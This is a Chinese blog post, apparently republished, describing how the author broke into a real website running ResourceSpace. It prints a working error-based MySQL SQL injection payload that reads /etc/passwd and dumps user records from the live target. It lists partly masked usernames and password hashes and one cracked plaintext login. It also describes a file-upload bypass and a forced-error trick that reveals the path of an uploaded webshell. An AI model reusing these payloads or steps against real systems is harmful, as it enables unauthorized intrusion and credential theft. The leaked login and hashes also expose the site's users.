1. 程式人生 > >一次通過漏洞挖掘成功滲透某網站的過程

一次通過漏洞挖掘成功滲透某網站的過程

1.尋找突破口

對方主站是一個定製開發的CMS,在進行一系列掃描和分析之後,未發現可利用的地方,於是開始分析其二級域名,發現其中某資源管理分站,目標作業系統是linux,僅開放HTTP 80埠,整站程式為ResourceSpace,一個開源php建站程式。

2.漏洞挖掘

因為是開源程式,考慮其漏洞挖掘相對容易一些,於是決定把這個網站作為突破口。於是到resourcespace的官方網站(http://www.resourcespace.org/)下載最新版原始碼,在本地本地搭建測試環境,開始白盒審計程式碼。這個resourcespace大部分功能都是要登陸後才能使用的,而我們目標網站不允許外部註冊使用者,所以我們要挖掘不需要登入驗證就可利用的漏洞。

第一步要挖的是那些容易利用的漏洞,SQL注入之類的,經過一番grep,在pages/search_disk_usage.php裡面發現一處呼叫:

$results=do_search(getval("search",""),getvalescaped("restypes",""),"relevance",getval("archive",""),-1,"desc",false,$starsearch,false,true);

再來看一下include/search_functions.php

if($sql_filter!="") {$sql_filter.=" and ";}   
$sql_filter.="archive='$archive'";             }
returnsql_query($sql_prefix . "select distinct *,r2.hit_count score from (select$select from resource r $sql_join  where$sql_filter order by ref desc limit $last ) r2 order by $order_by" .$sql_suffix,false,$fetchrows);

這裡存在一個典型的SQL注入漏洞。我們在本地測試環境中訪問以下URL來測試:

http://192.168.1.172/ResourceSpace/pages/search_disk_usage.php?archive=a'

返回:

證明了注入點確實存在。不過這個超長的巢狀SQL注入要想利用起來還是有點麻煩的,想構造語句閉合幾個語句試了半天沒發現合適的方法。因為對方資料庫是mysql所以準備利用rand&groupby報錯大法來試一下。構造語句是這樣的:

http://192.168.1.172/ResourceSpace/pages/search_disk_usage.php?archive=a'%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),substring(load_file('/etc/passwd'),0,5))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20'1'='1

果然讀到了passwd檔案內容,這是利用mysql一個特有的bug來報錯的手段,也是常用的SQL注入方法,對該方法原理不再贅述,感興趣的請參考:http://bugs.mysql.com/bug.php?id=8652

接下來要做是獲取管理員密碼,進後臺傳webshell,於是嘗試了目標網站:

http://rs.XXXX.com/ResourceSpace/pages/search_disk_usage.php?archive=a'%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(SELECT%20username%20from%20user%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20'1'='1

返回:

3.密碼破解

返回了加密後的密碼,到這裡成功的希望就已經相當大了。因為手工注入太麻煩,所以寫了個程式來跑出目標網站所有的賬號和密碼。

admin-----b****d93ce187f01b7e7c96b0b1df062
Sp****erS-----a****437d2e18f2fe5bf623412427493
J****J-----9****aa12a24a73953d5ab95567cd5d1
n****nph-----6****7f9f3d7ea132ba42d349df99b01
d****e-----1****dd082b77c13ca1ecafd1a0d7ac4
N****iaA-----a****4dfd4c74c15d9e7ab2620639f21
D****ahT-----c****cb83afadf07dda15b8a7716068a
J****P-----d****001e3b5f26967007ab2647b8ae6
b****rtm-----9****6d20cd016ffb3bc9593bd3ed0f3
J****R-----a****4b643d1e69aa8d51f9c616e46c9
L****A-----b****7d728a7048add07b6404e6854ac
……

密碼看起來像是MD5加密的,不過進一步檢視原始碼卻發現形勢不容樂觀,加密是加使用者名稱salt後MD5的:

md5($salt+$username+$pass)

這意味著無法在cmd5等網站查詢,也無法使用彩虹表破解,而只能選擇暴力破解:(但resourcespace的預設密碼策略是要求密碼必須同時使用字母和數字的,這樣破解的希望就更小了,於是乎寫了個破解程式:

掛上我們的NB字典開始跑密碼,本來沒抱太大希望,但是希望總是留給勇於嘗試的人,還真有一個使用者使用了弱口令。

雖然不是admin賬號,但是成功登陸進去一樣可以做很多事情,我們接下來的目標是:獲取webshell進而獲得系統許可權。

4.檔案上傳

使用使用者choib/qwer1234登入進目標網站,發現有個地方是可以上傳圖片的,而且通過位元組截斷可以上傳php檔案,但是存在一個很大的問題是,上傳後的檔案被重新命名為隨機檔名,我們無法找到上傳後的webshell。滲透過程到這裡再一次陷入僵局。

再回過頭來看resourcespace程式程式碼,通過分析程式發現可通過提交不正常請求,使程式強制報錯,爆出上傳的檔名

當點選下載圖片時,並不會直接連線圖片的URL地址,而是通過訪問

/ResourceSpace/pages/download_progress.php?ref=24&ext=php&k=&alternative=1&search=%21last1000&offset=0&archive=0&sort=DESC&order_by=relevance

我們可以通過Burp修改HTTP請求,來讓程式報錯:

這樣就找到了上傳後的檔案,並且在目標系統上獲得了webshell: